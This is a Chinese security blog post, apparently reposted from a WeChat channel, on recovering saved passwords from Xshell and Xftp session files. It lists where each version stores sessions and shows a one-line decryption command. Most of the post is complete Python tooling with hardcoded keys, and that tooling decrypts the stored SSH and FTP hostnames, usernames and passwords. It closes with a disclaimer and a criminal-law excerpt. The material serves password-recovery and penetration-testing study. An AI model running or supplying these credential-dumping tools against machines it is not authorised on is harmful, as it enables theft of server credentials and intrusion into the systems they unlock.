加密方式:
这一块主要是不同的版本不同的加密方法,大家可自行研究相关的加密方式,这里不过多讲解:
https://github.com/HyperSine/how-does-Xmanager-encrypt-password
xshell路径
xshell 5
userprofile%DocumentsNetSarangXshellSessions
xshell 6
userprofile%DocumentsNetSarang Computer6XshellSessions
xshell 7
userprofile%DocumentsNetSarang Computer7XshellSessions
xftp路径
xftp5
userprofile%DocumentsNetSarangXshellSessions
XFtp6
userprofile%DocumentsNetSarang Computer6XftpSessions
XFtp7
userprofile%DocumentsNetSarang Computer7XftpSessions
破解
我们来看一下xshell7其存储格式,其保存为.xsh格式
直接使用sublime打开,可以看到其密码字段为password
这里面就是我们要破解的密码,直接上工具,使用下面语法:
python XShellCryptoHelper.py -d -ver 7.0 passsword
可以直接获取到相关的密码:
注:xftp密码一样的获取方式。
附
SessionXTSReader
#!/usr/bin/env python3
import sys, zipfile, configparser, base64
from Crypto.Hash import MD5
from Crypto.Cipher import ARC4
from XmanagerCrypto import *
XTSKey = MD5.new(b'!X@s#c$e%l^l&').digest()
def XTSEncryptString(s : str):
cipher = ARC4.new(XTSKey)
ciphertext = cipher.encrypt(s.encode())
checksum = MD5.new(s.encode()).digest()
return base64.b64encode(ciphertext + checksum).decode()
def XTSDecryptString(s : str):
cipher = ARC4.new(XTSKey)
data = base64.b64decode(s)
ciphertext, checksum = data[:-MD5.digest_size], data[-MD5.digest_size:]
plaintext = cipher.decrypt(ciphertext)
assert(MD5.new(plaintext).digest() == checksum)
return plaintext.decode()
def XTSGetUserName(Config : configparser.ConfigParser):
try:
return Config['SessionInfo']['UN']
except:
return None
def XTSGetComputerName(Config : configparser.ConfigParser):
try:
return Config['SessionInfo']['CN']
except:
return None
def XTSGetSID(Config : configparser.ConfigParser):
try:
return Config['SessionInfo']['SI']
except:
return None
def XTSPrintXShellSession(Config : configparser.ConfigParser, username : str, sid : str, masterpwd : str):
Version = Config['SessionInfo']['Version']
Host = Config['CONNECTION']['Host']
Port = Config['CONNECTION']['Port']
Username = Config['CONNECTION:AUTHENTICATION']['UserName']
Password = Config['CONNECTION:AUTHENTICATION']['Password']
cipher = XShellCrypto(Version, UserName = username, SID = sid, MasterPassword = masterpwd)
try:
DecryptedPassword = cipher.DecryptString(Password)
Password = DecryptedPassword
except:
pass
print('%-12s = %s' % ('Host', Host))
print('%-12s = %s' % ('Port', Port))
print('%-12s = %s' % ('UserName', Username))
print('%-12s = %s' % ('Password', Password))
def XTSPrintXFtpSession(Config : configparser.ConfigParser, username : str, sid : str, masterpwd : str):
Version = Config['SessionInfo']['Version']
Host = Config['Connection']['Host']
Port = Config['Connection']['Port']
Username = Config['Connection']['UserName']
Password = Config['Connection']['Password']
cipher = XFtpCrypto(Version, UserName = username, SID = sid, MasterPassword = masterpwd)
try:
DecryptedPassword = cipher.DecryptString(Password)
Password = DecryptedPassword
except:
pass
print('%-12s = %s' % ('Host', Host))
print('%-12s = %s' % ('Port', Port))
print('%-12s = %s' % ('UserName', Username))
print('%-12s = %s' % ('Password', Password))
def TryDecode(b : bytes):
try:
return b.decode()
except:
pass
try:
return b.decode('utf16')
except:
pass
raise UnicodeDecodeError('Cannot decode for unknown encoding.')
def main(XTSFilePath : str, UserName, ComputerName, SID, MasterPassword):
with zipfile.ZipFile(XTSFilePath) as XTSFile:
config = configparser.ConfigParser()
config.read_string(TryDecode(XTSFile.read('xts.zcf')))
if UserName == None:
UserName = XTSGetUserName(config)
if UserName != None and len(UserName) != 0:
UserName = XTSDecryptString(UserName)
if ComputerName == None:
ComputerName = XTSGetComputerName(config)
if ComputerName != None and len(ComputerName) != 0:
ComputerName = XTSDecryptString(ComputerName)
if SID == None:
SID = XTSGetSID(config)
if SID != None and len(SID) != 0:
SID = XTSDecryptString(SID)
if ComputerName != None and len(ComputerName) != 0:
print('%-12s = %s' % ('ComputerName', ComputerName))
if UserName != None and len(UserName) != 0:
print('%-12s = %s' % ('UserName', UserName))
if SID != None and len(SID) != 0:
print('%-12s = %s' % ('SID', SID))
if MasterPassword != None and len(MasterPassword) != 0:
print('%-12s = %s' % ('MasterPwd', MasterPassword))
print()
for File in XTSFile.infolist():
if File.flag_bits & 0x800:
FileName = File.filename
else:
try:
FileName = File.filename.encode('cp437').decode('ansi')
except:
FileName = File.filename
FileNameL = FileName.lower()
if FileNameL == 'xts.zcf':
continue
if FileNameL.startswith('xshell/') and FileNameL.endswith('.xsh'):
config.clear()
config.read_string(TryDecode(XTSFile.read(File.filename)))
print(FileName)
XTSPrintXShellSession(config, UserName, SID, MasterPassword)
elif FileNameL.startswith('xftp/') and FileNameL.endswith('.xfp'):
config.clear()
config.read_string(TryDecode(XTSFile.read(File.filename)))
print(FileName)
XTSPrintXFtpSession(config, UserName, SID, MasterPassword)
print()
else:
if File.is_dir() == False:
print('Unhandled file: %s' % File.filename)
continue
print()
def help():
print('Usage:')
print(' SessionXTSReader.py [-user user_string]')
print(' [-sid sid_string]')
print(' [-key key_string]')
print(' <XTS file path>')
if __name__ == '__main__':
if len(sys.argv) < 2:
help()
exit(0)
user = None
sid = None
key = None
path = None
i = 1
while i < len(sys.argv):
if sys.argv[i].lower() == '-user':
user = sys.argv[i + 1]
i += 1
elif sys.argv[i].lower() == '-sid':
sid = sys.argv[i + 1]
i += 1
elif sys.argv[i].lower() == '-key':
key = sys.argv[i + 1]
i += 1
else:
path = sys.argv[i]
break
i += 1
main(path, user, None, sid, key)
else:
print('Please run as script directly')
XFtpCryptoHelper
#!/usr/bin/env python3
import sys
from XmanagerCrypto import XFtpCrypto
def GetCurrentUserName():
import win32api
return win32api.GetUserName()
def GetCurrentSID():
import win32api, win32security
Sid = win32security.LookupAccountName(win32api.GetComputerName(), win32api.GetUserName())[0]
return win32security.ConvertSidToStringSid(Sid)
def help():
print('Usage:')
print(' XFtpCryptoHelper.py <-e | -d>')
print(' [-ver ver_sting]')
print(' [-user user_string]')
print(' [-sid sid_string]')
print(' [-key key_string]')
print(' <password_str | base64_str>')
print('')
print(' <-e|-d>: Specify encryption(-e) or decryption(-d).')
print('')
print(' [-ver ver_string]: Specify version of session file.')
print(' ver_string can be "5.1", "5.2", "6.0" and etc.')
print(' If not specified, the latest version will be used.')
print('')
print(' [-user user_string]: Specify username. This parameter will be used if version > 5.2.')
print(' If not specified, the current username will be used.')
print('')
print(' [-sid sid_string]: Specify SID. This parameter will be used if version >= 5.1.')
print(' If not specified, the current user's SID will be used.')
print('')
print(' [-key key_string]: Specify user's master password.')
print(' If specified, implicit "-ver 6.0"')
print('')
print(' <password_str|base64_str>: Plain password text or base64-encoded encrypted text.')
print('')
def main():
if (len(sys.argv) < 3):
help()
return
if sys.argv[1].lower() == '-e':
bEncrypt = True
elif sys.argv[1].lower() == '-d':
bEncrypt = False
else:
help()
return
ver = None
user = None
sid = None
key = None
targets = []
i = 2
while i < len(sys.argv):
if sys.argv[i].lower() == '-ver':
if ver != None:
raise ValueError('Duplicate arguments are found: -ver')
ver = sys.argv[i + 1]
i += 1
elif sys.argv[i].lower() == '-user':
if user != None:
raise ValueError('Duplicate arguments are found: -user')
user = sys.argv[i + 1]
i += 1
elif sys.argv[i].lower() == '-sid':
if sid != None:
raise ValueError('Duplicate arguments are found: -sid')
sid = sys.argv[i + 1]
i += 1
elif sys.argv[i].lower() == '-key':
if key != None:
raise ValueError('Duplicate arguments are found: -key')
key = sys.argv[i + 1]
i += 1
else:
for j in range(i, len(sys.argv)):
targets.append(sys.argv[j])
i += len(targets)
i += 1
if ver == None:
ver = 0xffff
if key != None:
ver = 6.0
if key == None and float(ver) >= 5.1 and sid == None:
sid = GetCurrentSID()
if key == None and float(ver) > 5.2 and user == None:
user = GetCurrentUserName()
cipher = XFtpCrypto(SessionFileVersion = ver,
UserName = user,
SID = sid,
MasterPassword = key)
for target in targets:
if bEncrypt:
print(cipher.EncryptString(target))
else:
print(cipher.DecryptString(target))
if __name__ == '__main__':
main()
else:
print('Please run as script directly.')
XmanagerCrypto
#!/usr/bin/env python3
from base64 import b64encode, b64decode
from Crypto.Hash import MD5, SHA256
from Crypto.Cipher import ARC4
class XShellCrypto(object):
def __init__(self, SessionFileVersion = 0xffff, **kwargs):
'''
SessionFileVersion must be convertable to float
Supported kwargs:
UserName : str
SID : str
MasterPassword : str
'''
self._Version = float(SessionFileVersion)
if 0 < self._Version and self._Version < 5.1:
self._Key = MD5.new(b'!X@s#h$e%l^l&').digest()
elif 5.1 <= self._Version and self._Version <= 5.2:
self._Key = SHA256.new(kwargs['SID'].encode()).digest()
elif 5.2 < self._Version:
if kwargs.get('MasterPassword') == None:
self._Key = SHA256.new((kwargs['UserName'] + kwargs['SID']).encode()).digest()
else:
self._Key = SHA256.new(kwargs['MasterPassword'].encode()).digest()
else:
raise ValueError('Invalid argument: SessionFileVersion')
def EncryptString(self, String : str):
Cipher = ARC4.new(self._Key)
if self._Version < 5.1:
return b64encode(Cipher.encrypt(String.encode())).decode()
else:
checksum = SHA256.new(String.encode()).digest()
ciphertext = Cipher.encrypt(String.encode())
return b64encode(ciphertext + checksum).decode()
def DecryptString(self, String : str):
Cipher = ARC4.new(self._Key)
if self._Version < 5.1:
return Cipher.decrypt(b64decode(String)).decode()
else:
data = b64decode(String)
ciphertext, checksum = data[:-SHA256.digest_size], data[-SHA256.digest_size:]
plaintext = Cipher.decrypt(ciphertext)
if SHA256.new(plaintext).digest() != checksum:
raise ValueError('Cannot decrypt string. The key is wrong!')
return plaintext.decode()
class XFtpCrypto(object):
def __init__(self, SessionFileVersion = 0xffff, **kwargs):
'''
SessionFileVersion must be convertable to float
Supported kwargs:
UserName : str
SID : str
MasterPassword : str
'''
self._Version = float(SessionFileVersion)
if 0 < self._Version and self._Version < 5.1:
self._Key = MD5.new(b'!X@s#c$e%l^l&').digest() # key is different with the one in XShellCrypto
elif 5.1 <= self._Version and self._Version <= 5.2:
self._Key = SHA256.new(kwargs['SID'].encode()).digest()
elif 5.2 < self._Version:
if kwargs.get('MasterPassword') == None:
self._Key = SHA256.new((kwargs['UserName'] + kwargs['SID']).encode()).digest()
else:
self._Key = SHA256.new(kwargs['MasterPassword'].encode()).digest()
else:
raise ValueError('Invalid argument: SessionFileVersion')
def EncryptString(self, String : str):
Cipher = ARC4.new(self._Key)
if self._Version < 5.1:
return b64encode(Cipher.encrypt(String.encode())).decode()
else:
checksum = SHA256.new(String.encode()).digest()
ciphertext = Cipher.encrypt(String.encode())
return b64encode(ciphertext + checksum).decode()
def DecryptString(self, String : str):
Cipher = ARC4.new(self._Key)
if self._Version < 5.1:
return Cipher.decrypt(b64decode(String)).decode()
else:
data = b64decode(String)
ciphertext, checksum = data[:-SHA256.digest_size], data[-SHA256.digest_size:]
plaintext = Cipher.decrypt(ciphertext)
if SHA256.new(plaintext).digest() != checksum:
raise ValueError('Cannot decrypt string. The key is wrong!')
return plaintext.decode()
XShellCryptoHelper
#!/usr/bin/env python3
import sys
from XmanagerCrypto import XShellCrypto
def GetCurrentUserName():
import win32api
return win32api.GetUserName()
def GetCurrentSID():
import win32api, win32security
Sid = win32security.LookupAccountName(win32api.GetComputerName(), win32api.GetUserName())[0]
return win32security.ConvertSidToStringSid(Sid)
def help():
print('Usage:')
print(' XShellCryptoHelper.py <-e | -d>')
print(' [-ver ver_sting]')
print(' [-user user_string]')
print(' [-sid sid_string]')
print(' [-key key_string]')
print(' <password_str | base64_str>')
print('')
print(' <-e|-d>: Specify encryption(-e) or decryption(-d).')
print('')
print(' [-ver ver_string]: Specify version of session file.')
print(' ver_string can be "5.1", "5.2", "6.0" and etc.')
print(' If not specified, the latest version will be used.')
print('')
print(' [-user user_string]: Specify username. This parameter will be used if version > 5.2.')
print(' If not specified, the current username will be used.')
print('')
print(' [-sid sid_string]: Specify SID. This parameter will be used if version >= 5.1.')
print(' If not specified, the current user's SID will be used.')
print('')
print(' [-key key_string]: Specify user's master password.')
print(' If specified, implicit "-ver 6.0"')
print('')
print(' <password_str|base64_str>: Plain password text or base64-encoded encrypted text.')
print('')
def main():
if (len(sys.argv) < 3):
help()
return
if sys.argv[1].lower() == '-e':
bEncrypt = True
elif sys.argv[1].lower() == '-d':
bEncrypt = False
else:
help()
return
ver = None
user = None
sid = None
key = None
targets = []
i = 2
while i < len(sys.argv):
if sys.argv[i].lower() == '-ver':
if ver != None:
raise ValueError('Duplicate arguments are found: -ver')
ver = sys.argv[i + 1]
i += 1
elif sys.argv[i].lower() == '-user':
if user != None:
raise ValueError('Duplicate arguments are found: -user')
user = sys.argv[i + 1]
i += 1
elif sys.argv[i].lower() == '-sid':
if sid != None:
raise ValueError('Duplicate arguments are found: -sid')
sid = sys.argv[i + 1]
i += 1
elif sys.argv[i].lower() == '-key':
if key != None:
raise ValueError('Duplicate arguments are found: -key')
key = sys.argv[i + 1]
i += 1
else:
for j in range(i, len(sys.argv)):
targets.append(sys.argv[j])
i += len(targets)
i += 1
if ver == None:
ver = 0xffff
if key != None:
ver = 6.0
if key == None and float(ver) >= 5.1 and sid == None:
sid = GetCurrentSID()
if key == None and float(ver) > 5.2 and user == None:
user = GetCurrentUserName()
cipher = XShellCrypto(SessionFileVersion = ver,
UserName = user,
SID = sid,
MasterPassword = key)
for target in targets:
if bEncrypt:
print(cipher.EncryptString(target))
else:
print(cipher.DecryptString(target))
if __name__ == '__main__':
main()
else:
print('Please run as script directly.')
参考链接
https://github.com/HyperSine/how-does-Xmanager-encrypt-password
本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!
敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
原文始发于微信公众号(巢安实验室):如何获取Xshell/xftp密码
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论